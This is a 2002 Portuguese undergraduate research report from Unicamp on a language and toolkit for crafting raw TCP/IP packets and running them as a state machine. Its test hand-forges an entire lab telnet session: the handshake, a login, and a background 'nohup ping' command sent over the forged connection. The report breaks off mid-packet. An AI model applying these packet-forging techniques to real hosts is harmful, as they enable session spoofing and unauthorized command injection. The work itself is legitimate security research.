UNIVERSIDADE ESTADUAL DE CAMPINAS

INSTITUTO DE COMPUTAÇÃO

DEPARTAMENTO DE SISTEMAS DE COMPUTAÇÃO

Relatório Final de Iniciação Científica

Plataforma de Teste para Segurança de Redes

Bolsista
Daniel Pupim Kano

Orientador
Prof. Dr. Paulo Lício de Geus

Campinas, 10 de Dezembro de 2002

Plataforma de Teste para Segurança de Redes

Bolsista:
Daniel Pupim Kano
Instituto de Computação
Universidade Estadual de Campinas
daniel.kano@ic.unicamp.br

Orientador:
Prof. Dr. Paulo Lício de Geus
Instituto de Computação
Universidade Estadual de Campinas
paulo@ic.unicamp.br

1. RESUMO DAS ATIVIDADES ANTERIORES

O primeiro ano deste projeto divide-se em duas principais grandes partes:

– Estudo sobre redes de computadores, segurança de redes, os protocolos TCP/IP e métodos de filtragem de pacotes. Neste momento foi adquirida uma base teórica sobre estes principais tópicos que possibilitaram o desenvolvimento de pequenas ferramentas que os ilustrassem para um melhor entendimento. E isto contribuiu para a realização da segunda parte deste primeiro ano servindo de base para as decisões que seriam tomadas.

– Então, tendo uma visão geral do problema de segurança de redes, com base na proposta inicial de elaboração de uma plataforma de testes, tem-se a idéia da criação de uma linguagem para assumir tal tarefa. A definição de uma linguagem que possa descrever uma máquina de estados finita para atuar ativamente em uma rede de computadores e não passivamente como um simples *sniffer*. Portanto, nesta segunda parte implementou-se a linguagem e os módulos descritos em relatórios anteriores para a existência de uma versão básica e muito rudimentar da plataforma.

Desta forma, ao final do primeiro ano, um modelo protótipo da plataforma existia em funcionamento com uma linguagem que executava o que fora definido mas não com tanta flexibilidade que se desejava para uma linguagem de programação. E foi com tal objetivo, de tornar a linguagem mais flexível, que este segundo ano do projeto iniciou. Para então tornar uma plataforma flexível o suficiente capaz de executar o que fora estabelecido.

Na primeira metade deste segundo ano modificações foram feitas sobre a plataforma visando entregar ao programador desta uma maior flexibilidade. Dentre estas modificações estavam a possibilidade de alterar um pacote durante o momento de execução da plataforma e alterações no módulo de recebimento de pacotes de maneira a possibilitar um seqüenciamento de pacotes. Esta alteração foi muito importante, pois nunca se sabe de antemão todos os valores dos campos dos pacotes a serem enviados e uma alteração no momento de execução é essencial.

Além disso, algumas outras alterações foram feitas como a possibilidade de execução de comandos em Shell e a utilização desta característica para configuração do filtro de bloqueio de pacotes ao kernel. Houve também a adição da opção de se registrar o ocorrido através de um histórico podendo ser armazenado em um arquivo todos os passos que a máquina de estados tomou.

Para realizar tais modificações a linguagem teve de ser alterada bem como as suas estruturas de dados internas.

Ao final desta primeira metade deste segundo ano alguns testes foram executados de forma a verificar a funcionalidade da plataforma bem como suas necessidades. Verificou-se a necessidade de algumas características que faltavam e outras que precisavam ser modificadas e assim planejou-se esta etapa final da plataforma para realizar tais modificações e assim realizar testes que não tinham a flexibilidade suficiente para validar a plataforma.

2. RESUMO DAS ATIVIDADES REFERENTES A ESTE RELATÓRIO

Ao final da etapa passada, durante a execução de testes, verificaram-se algumas características das quais a plataforma carecia. Tais características viriam a validar a plataforma em sua primeira versão e a tornaria funcional. Estas modificações consistiram em realizar modificações internas para conseguir uma maior eficiência quanto ao tempo de resposta da plataforma e na adição de variáveis à plataforma para que esta pudesse se ‘recordar’ de informações passadas e utilizá-las futuramente.

As modificações internas consistiam em retirar atrasos que faziam com que a resposta da plataforma não fosse entregue a tempo o que exigia que o host com o qual se havia estabelecido a conexão retransmitisse seus pacotes.

Quanto à necessidade de se recordar informações, foram inseridos métodos de declaração de variáveis na linguagem. A utilização destas durante a execução que fez com que houvesse uma grande reestruturação das estruturas de dados internas e adições na linguagem em todos os módulos para que se pudesse realizar tal tarefa.

Para verificar a eficiência das modificações foram realizados testes que exigiram tais modificações, comprovando então, a modularidade e flexibilidade alcançada.

Ao final, fez-se uma descrição detalhada dos dois módulos produzidos para uma visão geral do resultado final alcançado.

Neste relatório os tópicos serão encontrados na seguinte ordem:

3. ATIVIDADES REFERENTES A ESTE RELATÓRIO

3.1. REESTRUTURAÇÃO INTERNA

A modificação feita neste momento do desenvolvimento da plataforma foi a decisão de modificar o ponto em que se instancia o filtro 'bpf' (através da biblioteca

'pcap') para captura de pacotes. Sem esta modificação a declaração de estado tipo 'recv_pack' teria a seguinte aparência:

```
state GET_SYN_ACK recv_pack{
  bpf : "tcp and port 23"                          <-------
  iface : eth0                                     <-------
  ( next state: FINISH_HANDSHAKE
    check:      {IP}>TCP.acknum == [1]TCP.seqnum + 1
  )
};
```

Nas linhas indicadas estão informações necessárias para a iniciação do filtro 'bpf' e definição da interface. Assim o filtro era iniciado no início de cada espera de pacote para decisão de um novo rumo do autômato finito. Esta iniciação estava gerando um atraso na execução da plataforma que o fazia perder pacotes.

Observando que o ambiente em que esta plataforma está sendo desenvolvida e testada é de uma rede local, um ambiente de laboratório com cartões de rede Fast Ethernet de 100Mbps que proporciona respostas de rede muito imediatas.

O filtro 'bpf' captura tudo o que passar pelo cabo de rede a partir do momento em que é instanciado através de uma função da biblioteca 'pcap'. Do modo como estava implementada, em muitos casos a iniciação filtro era executada depois que o pacote passava pelo cartão de rede. Desse modo o pacote era perdido e, quando utilizado o protocolo TCP, apenas era capturada a retransmissão daquele, caso contrário, se usado UDP, o pacote era perdido e a máquina permanecia esperando indefinidamente ou até expirar um tempo pré-determinado.

Para solucionar este problema deslocou-se o momento de instanciação do filtro para o início da execução da plataforma, Esta atitude fez perder um pouco a flexibilidade pois antes cada estado de recepção de pacotes tinha seu próprio critério de filtragem e agora todos os estados têm o mesmo critério. Este critério é descrito por uma expressão regular analisada pelo filtro que repassa à aplicação apenas os pacotes que satisfizerem a expressão. A modificação na declaração da linguagem foi apenas o deslocamento para fora da declaração do estado, para a seção de iniciação das variáveis. Mas internamente houve a necessidade de uma reestruturação nas estruturas

de dados que comportavam esta funcionalidade (de iniciação do filtro dentro do estado) e nos pontos em que o filtro passou a ser instanciado.

3.2. CRIAÇÃO DE VARIÁVEIS

Em exemplo mostrado em relatório anterior foi verificado que há muitos casos na comunicação de rede em que há seqüenciamento de pacotes. Nestes casos há a necessidade de armazenamento de informação para ser utilizada posteriormente. Mais especificamente em uma conexão TCP em que os números de seqüência e de reconhecimento precisam ser calculados no momento do envio de uma resposta devido a variações de tamanho dos pacotes. Para isto são necessários meios para o cálculo, por exemplo, do número de reconhecimento (neste caso, o cálculo resume-se à soma do último número de seqüência enviado pelo outro 'host' com o tamanho em bytes de seu campo de dados).

No estado em que se encontrava a linguagem esta não provia nenhuma forma de armazenamento de dados para manipulação e alteração. Decidiu-se então implementar o conceito de variáveis na linguagem, posições de memória em que determinada informação fica armazenada para manipulação para que casos como os acima descritos sejam mais flexíveis.

Primeiramente foram definidos os tipos de variáveis que existiriam na linguagem, estes tipos levam em consideração, principalmente, o tamanho da variável, e são eles:

- u_int32_t: inteiro de 32 bits sem sinal;
- int32_t: inteiro de 32 bits com sinal;
- u_int16_t: inteiro de 16 bits sem sinal;
- int16_t: inteiro de 16 bits com sinal;
- u_int8_t: inteiro de 8 bits sem sinal;
- int8_t: inteiro de 8 bits com sinal;
- char: caractere;

Estes tipos são declarados da mesma forma que na linguagem C. Esta declaração foi escolhida pela sua intuitividade, pois a informação do tipo está contida em si própria, por exemplo:

- u_int32_t: *unsigned* (sem sinal), inteiro e 32 bits.

Para o armazenamento destas variáveis escolheu-se uma tabela de 'hashing', uma forma indexada de acesso quase imediato. Primeiramente deve-se declarar as variáveis no início do código fonte da linguagem para se criar a tabela e alocar espaço para as variáveis na memória. Este método é um método estático de declaração de variáveis, suficiente para sanar os problemas encontrados até o momento.

A declaração e a iniciação das variáveis sport e seq são feitas da seguinte maneira:

```
var{
  u_int16_t sport = 1054
  u_int32_t seq = 1
};
```

Estas variáveis são acessíveis para consulta e alteração em todos os estados de acordo com a funcionalidade de cada um. Nos estados do tipo send_pack as variáveis estão disponíveis para modificação dos pacotes a serem enviados enquanto que nos estados do tipo recv_pack estas estão disponíveis para a definição das condições de determinação do próximo estado.

Ao final de cada estado é possível alterar as variáveis para armazenamento das características perenes dos estados que poderão ser utilizadas por outros estados.

Para se referenciar as variáveis no curso da execução, deve-se adicionar o caractere '$' ao início do nome da variável.

Nos estados do tipo send_pack elas podem ser utilizadas da seguinte forma:

```
state SEND_FIRST send_pack{
  pack_id: 2
```

```
  but:  IP.id = $id and
        {IP}>TCP.sport = [GET_SYN_ACK]{IP}>TCP.dport and
        {IP}>TCP.seqnum = $seq and
        {IP}>TCP.acknum = $ack and
        {IP}>TCP.cksum = std_cksum(TCP)
  next state : WAIT_FIRST
} < $id = $id + 1
    $seq = $seq + [2]IP.totlen
    $seq = $seq - 40
  >;
```

Neste caso o estado SEND_FIRST, do tipo send_pack, enviará o pacote pré-construído número 2 com algumas modificações: o campo “source port” de seu cabeçalho TCP receberá o campo “destination port” do cabeçalho TCP do pacote recebido no estado GET_SYN_ACK, o campo “sequence number” receberá o valor da variável ‘seq’, o campo “acknowledgement number” receberá o valor da variável ‘ack’ e o campo “checksum” receberá o valor do checksum calculado de acordo com a especificação do protocolo TCP.

Nos estados do tipo recv_pack as variáveis podem ser utilizadas para determinação do próximo estado:

```
state WAIT_FIRST recv_pack{
  ( next state: SEND_FIRST_ACK
    check:      {IP}>TCP.acknum == $seq and
                {IP}>TCP.flags == 0x18
  )
} < $ack = $ack + [WAIT_FIRST]IP.totlen
    $ack = $ack - 40
  >;
```

Aqui o estado WAIT_FIRST, do tipo recv_pack, tem como duas condições para que o próximo estado seja o SEND_FIRST_ACK: o campo “acknowledgement number” do cabeçalho TCP do pacote recebido seja igual ao valor de ‘seq’ e o campo “flags” igual ao valor 0x18.

Em ambos os casos, ao final do estado havia uma declaração entre '<' e '>' que indicava alteração no valor das variáveis. No primeiro caso a variável ‘id’ era incrementada de 1 e a variável ‘seq’ era atualizada. No segundo caso a variável ‘ack’ era atualizada para seu próximo valor de controle de fluxo.

Estas modificações na linguagem exigiram modificações no 'parser' e nas estruturas de dados que representavam os estados. Funcionalmente esta nova aquisição da linguagem trouxe poucas modificações, mas uma grande nova característica que trouxe a modularidade e uma reestruturação interna bastante completa.

3.3. DESCRIÇÃO DA PLATAFORMA

Ao seu final, a plataforma de testes para segurança de redes, responsável por uma gerência de envio e recebimento de pacotes de maneira a atuar ativamente em uma rede de computadores é constituída de dois programas: o empacotador e o gerenciador de estados. Sua interface é uma linguagem criada especificamente para descrever seu comportamento em cada um dos dois programas.

3.3.1. O EMPACOTADOR

O empacotador é constituído de um analisador léxico e sintático que examinam arquivos textos que descrevem o preenchimento de pacotes e um construtor de pacotes para realizar o que foi descrito nestes arquivos texto.

Em um nível mais abstrato pacotes TCP/IP são contituídos de campos de diversos tamanhos mas previamente estabelecidos através da especificação dos protocolos. Estes campos são uma abstração de seqüências de bytes ordenados para o envio em uma rede de computadores. Ao longo de sua utilização, desde a criação do protocolo, alguns campos dos protocolos foram alterando suas interpretações (e.g. o campo Type Of Service) e verificando tal acontecimento e aproveitando a possibilidade de conseguir certa modularidade e de definição de qualquer tipo de cabeçalho (e.g. protocolos de aplicação) na descrição do empacotador faz-se uso de uma simbologia configurável que representa os campos dos cabeçalhos. Deve existir um diretório (definido pelo usuário) contendo arquivos com os nomes dos cabeçalhos que descrevem bit a bit estes cabeçalhos que serão utilizados na linguagem para identificar campos de um pacote. Trata-se praticamente de uma tabela de nomes de

campos que apontam para suas respectivas posições relativas ao início do cabeçalho e seus respectivos tamanhos, por exemplo, para determinação do cabeçalho TCP sem opções deve-se criar um arquivo com o nome relativo ao conteúdo (e.g. TCP) e preenchido da seguinte forma:

```
#PACKMAN HEADER: TCP LAYER 2
#name   offset  size    swap?(byte order)
sport   0       16      1
dport   16      16      1
seqnum  32      32      1
acknum  64      32      1
unused1 96      4       0
hlen    100     4       0
flags   104     6       0
unused2 110     2       0
win     112     16      1
cksum   128     16      1
urgp    144     16      1
```

No início do arquivo definiu-se o nome com o qual esta descrição será referenciada e a camada em que deverá aparecer. O nome deve ser o mesmo nome do arquivo e a camada refere-se apenas a posição em que dever ser colocado. Em uma analogia com o conjunto de protocolos TCP/IP, a camada de transporte (protocolo IP) seria a LAYER 1. A primeira coluna do arquivo indica o nome do campo, ou seja, o símbolo que será utilizado na linguagem para referenciar aquele campo. A segunda coluna indica a posição (em bits) em que o primeiro bit do campo aparece. A terceira coluna indica qual o tamanho (em bits) do campo. E finalmente, a última coluna deste arquivo indica se os bytes do campo devem ser invertidos ou não, um significa SIM e zero, NÃO. Esta inversão diz respeito à ordem dos bytes (*big endian* ou *little endian*). Estes nomes serão utilizados para representar o cabeçalho e os campos no empacotador e no gerenciador de estados.

Feitas as definições dos protocolos, é determinado então o conteúdo dos pacotes que serão enviados, ou pelo menos um esqueleto para ser completado no momento de execução da máquina de estados. Sua sintaxe é simples mas suficiente e cobre todos os casos pensados até o momento. Eis sua gramática em BNF:

start ::= statement .

statement ::= "out_pack_file" ':' EXPR '{' p_expression '}'

```
            | load_h .

p_expression ::= expression
              | expression p_expression .

expression ::= "packet" '#' NUMBER '{' layers_e '}' .

layers_e ::= layers
           | layers_e layers .

layers ::= "header" ':' STR '{' fields_e '}'.

fields_e ::= fields
           | fields_e fields .

fields ::= STR info .

info ::= NUMBER
       | ADDR
       | EXPR .

load_h ::= "load" "headers" ':' EXPR .
```

Esta gramática exige que se determine o diretório em que estão as definições de cabeçalhos (load_h) e o arquivo de saída, ou seja, o arquivo que conterá os pacotes montados com seu conteúdo binário. As expressões em letra maiúscula são tipos primitivos definidos em sua análise léxica são eles:

EXPR : uma string qualquer;

NUMBER : um inteiro ;

STR : uma string que contém apenas dígitos alfa-numéricos ;

ADDR : um vetor de 4 bytes contendo um endereço IP ;

Um melhor entendimento da gramática pode ser visto com um exemplo:

```
load headers : "../headers";
out_pack_file : "out_pack" {
  packet #1 {
    header : IP {
        hlen            5
        ver             4
        tos             0
        totlen          40
        id              1
        frag            0x4000
```

```
            ttl             0x40
            proto           6
            cksum           0
            saddr           10.1.1.1
            daddr           10.1.1.2
        }
        header : TCP {
            sport           0x400
            dport           23
            seqnum          0x1
            acknum          0
            unused1         0
            hlen            0x5
            flags           0x2
            unused2         0x0
            win             0x16d0
            cksum           0
            urgp            0
        }
    }
}
```

Neste exemplo há a determinação do diretório "../headers" para as definições dos cabeçalhos e do arquivo de saída "out_pack" no início da desrição. Aqui foi descrito um pacote com os cabeçalhos IP e TCP utilizando os nomes pré-definidos e presentes nos arquivos IP e TCP no diretório "../headers".

O programa responsável pelo empacotador é o 'packer', sua linha de comando é muito simples, basta digitar './packer <nome do arquivo descritor de pacote>' sendo este arquivo, um texto descritivo como o exemplo acima mostrado. Como resultado tem-se um arquivo binário com o(s) pacote(s) indexado(s) pelo número determinado no início de cada pacote, neste caso há apenas o 'packet #1'.

3.3.2. GERENCIADOR DE PACOTES

O gerenciador de estados é o coração da plataforma, ele é responsável pelo envio dos pacotes previamente montados pelo ‘packer’ e pelo recebimento de outros provindos pela rede em que se situa a máquina que executa seu binário. Estas duas tarefas básicas são encapsuladas em funções de uma máquina de estados que deve ser configurada para realizar determinada tarefa desejada.

Dessa forma o gerenciador é constituído de um analisador léxico e analítico que examina arquivos texto contendo a descrição da desejada máquina de estados a ser executada com uma linguagem própria. E assim monta em memória as estruturas de dados dos estados para que tal máquina possa ser executada e possua o máximo de eficiência possível.

Então para criar a máquina de estados desejada é necessário programar a plataforma para tal. Portanto, primeiramente deve-se iniciar as entidades que serão utilizadas no decorrer de execução da plataforma. Deve-se iniciar as estruturas de dados dos estados, indicando o número de estados que estarão contidos na máquina e os nomes pelos quais serão referenciados. Deve indicar também:

- O diretório em que há as declarações dos cabeçalhos para que se possa endereçar campos dentro dos pacotes com a seguinte sintaxe: “load” “header” ‘:’ <diretório>;
- O arquivo binário gerado pelo ‘packer’ que contém os pacotes para serem enviados com a seguinte sintaxe: “load” “packets” ‘:’ <arquivo>;
- Expressão regular que será utilizada pelo filtro para a captura de pacotes com a seguinte sintaxe: “bpf” ‘=’ <expressão>;
- A interface que será utilizada para obtenção de pacotes com a seguinte sintaxe: “iface” ‘=’ <interface>;
- Se é desejável ou não que sejam informados dados sobre o que ocorre no momento com a plataforma sob pena de diminuir a eficiência da mesma com a seguinte sintaxe: “verbose” “on” | “off” | “on” ‘:’ <arquivo>;. Sendo esta terceira opção a possibilidade de não escrever na saída padrão (o monitor) mas sim em um arquivo específico.

Após estas declarações iniciais deve-se definir as variáveis que serão utilizadas na máquina de estados. Neste momento pode-se também iniciá-las com valores desejados utilizando a seguinte sintaxe:

start ::= statement

statement ::= ‘{‘ var_decl ‘}’

var_decl ::= var_decl_aux | var_decl_aux var_decl

var_decl_aux ::= var_type STR var_value

var_value ::= NULL | ‘=’ NUMBER | ‘=’ CHAR | ‘=’ EXPR

var_type ::= “u_int32_t” | “int_32_t” | “u_int16_t” | “int16_t” | “u_int8_t” | “int8_t” | “char”

Exemplificando verifica-se:

```
var{
        u_int16_t sport = 1054
        u_int32_t seq = 1
        u_int32_t ack = 1
        u_int16_t id = 1
        u_int32_t tmp = 0
};
```

Assim foram declaradas e iniciadas as variáveis “sport”, “seq”, “ack”, “id” e “tmp”.

Após o processo inicial de instanciação das entidades iniciais que formarão as estruturas de dados internas se começa o ponto em que os estados são declarados, neste momento associa-se funções a cada estado bem como os caminhos para se percorrer os estados de maneira a realizar a tarefa desejada. Em cada estado pode-se adotar uma ação a ser tomada, e são elas:

- Enviar pacote (“send_pack”): Estados deste tipo enviam pacotes pré estabelecidos pelo programador da plataforma através da rede. Sua sintaxe e a seguinte:

  start ::= statement

  statement ::= “send_pack” ‘{‘ “pack_id” ‘:’ NUMBER but “next” “state” ‘:’ STR ‘}’

  but ::= NULL | “but” ‘:’ but_expr

  but_expr ::= bu_expr | bu_expr “and” but_expr

bu_expr ::= b_field ‘=’ but_oper

b_field ::= ph_expr STR ‘.’ STR

but_oper ::= but_data | but_data OPER but_data

but_data ::= NUMBER | f_addr | ‘[’ NUMBER ‘]’ f_addr | ‘[’ STR ‘]’ f_addr | VARBL | “std_checksum” ‘(’ STR ‘)’

f_addr ::= ph_expr STR ‘.’ STR

ph_expr ::= NULL | ph_expr_aux

ph_expr_aux ::= ‘>’ | ‘[’ STR ‘]’ ph_expr_aux

Como citado antes, as expressões em letra maiúscula são tipos primitivos definidos em sua análise léxica. Neste caso há um novo tipo o VARBL que representa um índice da tabela de variáveis que aponta para o valor da variável correspondente.

Com o exemplo abaixo se exemplifica a gramática acima descrita:

```
state SEND_SYN send_pack{
  pack_id : 1
  but:  IP.id = $id + 1 and
     {IP}>TCP.sport = $sport and
     {IP}>TCP.cksum = std_cksum(TCP)
  next state : GET_SYN_ACK
};
```

Na primeira linha tem-se a associação do nome da variável ao seu tipo. Então, sendo ela do tipo “send_pack” deve-se determinar o número do pacote que será enviado (“pack_id”). Tal pacote foi construído com a ajuda do construtor de pacotes, o ‘packer’, que os montou em um arquivo binário indexados por números. A seguir, tem-se a declaração das modificações a serem feitas no pacote antes deste ser enviado (campo “but”). Graças a esta característica de poder se alterar o pacote no momento do envio, pode-se, na criação do pacote, elaborar apenas formatos padrão de pacotes (‘templates’) que poderão ser utilizados por mais de um estado, sendo que este último pode modificá-lo como bem quiser no instante de envio, adaptando-o à sua necessidade. Como argumentos de informação para alterar os pacotes tem-se informações de outros pacotes, variáveis previamente declaradas, cálculo de checksum ou mesmo argumentos estáticos como o próprio valor do campo, ou ainda combinações lógicas e aritméticas entre estes tipos de argumentos utilizando

operadores como +, -, *, /, &(and), |(or) e ^(xor). Finalmente, na última linha determina-se o próximo estado para qual a plataforma deve se encaminhar.

Internamente os pacotes enviados são assim feitos através da abertura de sockets *raw* que possibilitam o preenchimento do cabeçalho para que assim possam ser inseridos na rede.

- Receber pacote ("recv pack"): Estados do tipo "recv pack" são os responsáveis pelas "decisões" tomadas pela plataforma. Este tipo de estado é passivo, ele não atua sobre a rede, apenas espera que algum dos pacotes entregues pelo filtro (previamente determinado) satisfaça certas condições para que a plataforma possa tomar um rumo ou outro. A seguir, sua sintaxe:

  start ::= statement

  statement ::= "recv_pack" '{' timeout branch_expr '}'

  timeout ::= NULL | "timeout" '=' time ':' STR

  time ::= U_SEC | M_SEC

  branch_expr ::= b_expr | b_expr "or" branch_expr

  b_expr ::= '(' "next" "state" ':' STR "check" ':' field_expr ')'

  field_expr ::= f_expr | f_expr "and" field_expr

  f_expr ::= ph_expr STR '.' STR "==" f_value_expr

  f_value_expr ::= f_value | f_value OPER f_value

  f_value ::= NUMBER | CHAR | '[' NUMBER ']' STR '.' STR | VARBL

  ph_expr ::= NULL | ph_expr_aux

  ph_expr_aux ::= '>' | '[' STR ']' ph_expr_aux

  Exemplificando a gramática acima, temos:

```
state EXAMPLE recv_pack{
   timeout = 1000us : ESCAPE
  ( next state: EXAMPLE1
    check:      {IP}>TCP.acknum == $seq1 and
                {IP}>TCP.flags == 0x18
  ) or
  ( next state: EXAMPLE2
    check:       {IP}>TCP.acknum == $seq2 and
                 (IP)>TCP.flags == 0x18
  )
```

```
};
```

Na primeira linha tem-se a associação do nome do estado com a ação "recv_pack". Em seguida verifica-se a especificação de um tempo de espera de 1000 microssegundos que caso tal tempo seja expirado a máquina de estados se direciona para o estado ESCAPE. Posteriormente inicia-se as declarações de condições para determinação do próximo estado. Neste exemplo há duas possibilidades, o estado EXAMPLE1 ou o EXAMPLE2.

Internamente foi utilizada a biblioteca libpcap (a mesma utilizada pelo tcpdump) para a captura dos pacotes da rede. Poderia ter sido utilizado socket *raw* assim como foi utilizado para o envio, mas a biblioteca proporciona algumas facilidades tais como a utilização do filtro BPF e sinalizações avisando recebimento de pacote. Tais funcionalidades levaram ao uso de tal biblioteca.

- Esperar ("Wait"): Os estados deste tipo são responsáveis em inserir algum atraso caso seja necessário fazê-lo. Logo que o tempo estipulado para o atraso tenha sido expirado um próximo estado assume. Eis sua sintaxe:
  start ::= statement
  statement ::= "wait" '{' time "next" "state" ':' STR '}'
  time ::= U_SEC | MSEC

Após a associação do nome do estado com a sua função tem-se a determinação do tempo de espera e do próximo estado a ser alcançado. Para fazê-lo utilizou-se a chamada de sistema usleep().

- Shell : Estados deste tipo executam comandos no Shell com a seguinte sintexe:

  start ::= statement
  statement ::= '{' "command" ':' EXPR "next" "state" ':' STR '}'

  Exemplificando:
  state LOCK shell {
  command : "iptables -A INPUT -p tcp --source-port 23 -s 10.1.1.2/24 -j DROP"

```
  next state : SEND_SYN
};
```

Assim como no exemplo, uma das principais utilidades deste tipo esta em poder configurar o filtro do kernel, qualquer que seja ele, uma vez que este pode mudar.

Com estas primitivas, confecciona-se um texto descritivo da máquina de estados através da linguagem elaborada. O gerenciador de pacotes é chamado da seguinte maneira: “packman <nome do arquivo que descreve a máquina de estados>”. A partir de então o arquivo é interpretado, as estruturas de dados são montadas em memória e inicia-se a execução do autômato.

3.4. TESTES

3.4.1. TELNET REVISITADO E INCREMENTADO

Para justificar as mudanças feitas nesta etapa do projeto o exemplo do telnet foi re-visitado, reconstruído completamente e complementado de forma a abranger muitas das possibilidades que esta seção poderia realizar, graças as novas feitorias implementadas. Com a criação das variáveis pôde-se elaborar a seqüência de maneira modular, de forma que se possa aplicar esta mesma seqüência em um outro ambiente com a modificação de apenas alguns parâmetros.

Para se realizar tal ação o protocolo TELNET teve de ser estudado para que se possa reproduzi-lo. Estudado o protocolo algumas seções TELNET foram observadas para poder visualizar como foi implementado e a ordem comum da transação de opções e parâmetros do protocolo. Basicamente o *handshake* inicial, levando em consideração todas as trocas de pacotes, é o seguinte:

- Primeiramente há o *3-way-handshake* do protocolo TCP;
- Em seguida há a negociação de opções do protocolo TELNET (i.g. tipo de terminal, velocidade, etc);

- Autenticação (login e senha);

Feitos tais passos, o servidor envia o *prompt* e o usuário autenticado pode iniciar sua seqüência de comandos a serem executados no servidor de TELNET.

No exemplo a ser citado a seqüência de passos será a seguinte:

- O *3-way-handshake* inicial do protocolo TCP;
- A negociação das opções do protocolo TELNET;
- Autenticação;
- Envio de um comando;
- Terminar seção;

Os três primeiros passos são os que englobam a maioria dos pacotes a serem trocados. O quarto passo consistirá no envio do comando “nohup ping 10.1.1.1&”, que executará “ping 10.1.1.1” em *background* e transferirá o processo pai deste processo para o *init*, ou seja, ao terminar a seção TELNET, o comando continuará sendo executado. E o quinto passo é a negociação dos pacotes de término de conexão.

Inicialmente preparam-se os pacotes para serem enviados. Preenchem-se pelo menos os campos que já são conhecidos antes de iniciar a seção, pois o restante é preenchido durante a execução da plataforma. Esta declaração dos pacotes é feita da seguinte maneira:

```
load headers : "../headers";
out_pack_file : "out_pack" {
  packet #1 {
    header : IP {
          hlen          5
          ver           4
          tos           0
          totlen        40
          id            1
          frag          0x4000
          ttl           0x40
          proto         6
          cksum         0
          saddr         10.1.1.1
          daddr         10.1.1.2
```

```
  }

  header : TCP {
        sport           0x400
        dport           23
        seqnum          0x1
        acknum          0
        unused1         0
        hlen            0x5
        flags           0x2
        unused2         0x0
        win             0x16d0
        cksum           0
        urgp            0
  }
 }

 packet #2 {
  header : IP {
     hlen               5
     ver                4
     tos                0x10
     totlen             64
     id                 3
     frag               0x4000
     ttl                0x40
     proto              6
     cksum              0
     saddr              10.1.1.1
     daddr              10.1.1.2
  }

  header : TCP {
     sport              0
     dport              23
     seqnum             0x1
     acknum             0
     unused1            0
     hlen               0x5
     flags              0x18
     unused2            0x0
     win                0x16d0
     cksum              0
     urgp               0
  }

  header : DATA {
        l1
"\255\253\3\255\251\24\255\251\31\255\251\32\255\251\33\255\251\34\255\251\39\2
55\253\5"
  }
 }

 packet #3 {
  header : IP {
```

```
    hlen            5
    ver             4
    tos             0x10
    totlen          43
    id              5
    frag            0x4000
    ttl             0x40
    proto           6
    cksum           0
    saddr           10.1.1.1
    daddr           10.1.1.2
  }

  header : TCP {
    sport           0
    dport           23
    seqnum          0
    acknum          0
    unused1         0
    hlen            0x5
    flags           0x18
    unused2         0
    win             0x16d0
    cksum           0
    urgp            0
  }

  header : DATA {
    l1              "\255\252\35"
  }
}

packet #4 {
  header : IP {
    hlen            5
    ver             4
    tos             0x10
    totlen          49
    id              6
    frag            0x4000
    ttl             0x40
    proto           6
    cksum           0
    saddr           10.1.1.1
    daddr           10.1.1.2
  }

  header : TCP {
    sport           0
    dport           23
    seqnum          0
    acknum          0
    unused1         0
    hlen            0x5
    flags           0x18
```

```
      unused2         0x0
      win             0x16d0
      cksum           0
      urgp            0
    }

    header : DATA {
      ll              "\255\250\31\0\128\0\48\255\240"
    }
  }

  packet #5 {
    header : IP {
      hlen            5
      ver             4
      tos             0x10
      totlen          74
      id              7
      frag            0x4000
      ttl             0x40
      proto           6
      cksum           0
      saddr           10.1.1.1
      daddr           10.1.1.2
    }

    header : TCP {
      sport           0
      dport           23
      seqnum          0
      acknum          0
      unused1         0
      hlen            0x5
      flags           0x18
      unused2         0x0
      win             0x16d0
      cksum           0
      urgp            0
    }

    header : DATA {
      ll
"\255\250\32\0\51\56\52\48\48\44\51\56\52\48\48\255\240\255\250\39\0\255\240\255\250\24
\0\76\73\78\85\88\255\240"
    }
  }

  packet #6 {
    header : IP {
      hlen            5
      ver             4
      tos             0x10
      totlen          43
      id              7
      frag            0x4000
```

```
    ttl             0x40
    proto           6
    cksum           0
    saddr           10.1.1.1
    daddr           10.1.1.2
  }

  header : TCP {
    sport           0
    dport           23
    seqnum          0
    acknum          0
    unused1         0
    hlen            0x5
    flags           0x18
    unused2         0
    win             0x16d0
    cksum           0
    urgp            0
  }

  header : DATA {
    l1              "\255\252\1"
  }
}

packet #7 {
  header : IP {
    hlen            5
    ver             4
    tos             0x10
    totlen          43
    id              8
    frag            0x4000
    ttl             0x40
    proto           6
    cksum           0
    saddr           10.1.1.1
    daddr           10.1.1.2
  }

  header : TCP {
    sport           0
    dport           23
    seqnum          0
    acknum          0
    unused1         0
    hlen            0x5
    flags           0x18
    unused2         0
    win             0x16d0
    cksum           0
    urgp            0
  }
```

```
  header : DATA {
     l1                  "\255\254\1"
  }
}

packet #8 {
  header : IP {
     hlen                5
     ver                 4
     tos                 0x10
     totlen              44
     id                  9
     frag                0x4000
     ttl                 0x40
     proto               6
     cksum               0
     saddr               10.1.1.1
     daddr               10.1.1.2
  }

  header : TCP {
     sport               0
     dport               23
     seqnum              0
     acknum              0
     unused1             0
     hlen                0x5
     flags               0x18
     unused2             0
     win                 0x16d0
     cksum               0
     urgp                0
  }

  header : DATA {
     l1                  "zeh\r"
  }
}

packet #9 {
  header : IP {
     hlen                5
     ver                 4
     tos                 0x10
     totlen              47
     id                  10
     frag                0x4000
     ttl                 0x40
     proto               6
     cksum               0
     saddr               10.1.1.1
     daddr               10.1.1.2
  }

  header : TCP {
```

```
    sport           0
    dport           23
    seqnum          0
    acknum          0
    unused1         0
    hlen            0x5
    flags           0x18
    unused2         0
    win             0x16d0
    cksum           0
    urgp            0
  }

  header : DATA {
    ll              "zehcah\r"
  }
}

packet #10 {
  header : IP {
    hlen            5
    ver             4
    tos             0x10
    totlen          64
    id              13
    frag            0x4000
    ttl             0x40
    proto           6
    cksum           0
    saddr           10.1.1.1
    daddr           10.1.1.2
  }

  header : TCP {
    sport           0
    dport           23
    seqnum          0
    acknum          0
    unused1         0
    hlen            0x5
    flags           0x18
    unused2         0
    win             0x16d0
    cksum           0
    urgp            0
  }

  header : DATA {
    ll              "nohup ping -q 10.1.1.1 &"
  }
}

packet #11 {
  header : IP {
    hlen            5
```

```
        ver             4
        tos             0x10
        totlen          41
        id              14
        frag            0x4000
        ttl             0x40
        proto           6
        cksum           0
        saddr           10.1.1.1
        daddr           10.1.1.2
      }

      header : TCP {
        sport           0
        dport           23
        seqnum          0
        acknum          0
        unused1         0
        hlen            0x5
        flags           0x18
        unused2         0
        win             0x16d0
        cksum           0
        urgp            0
      }

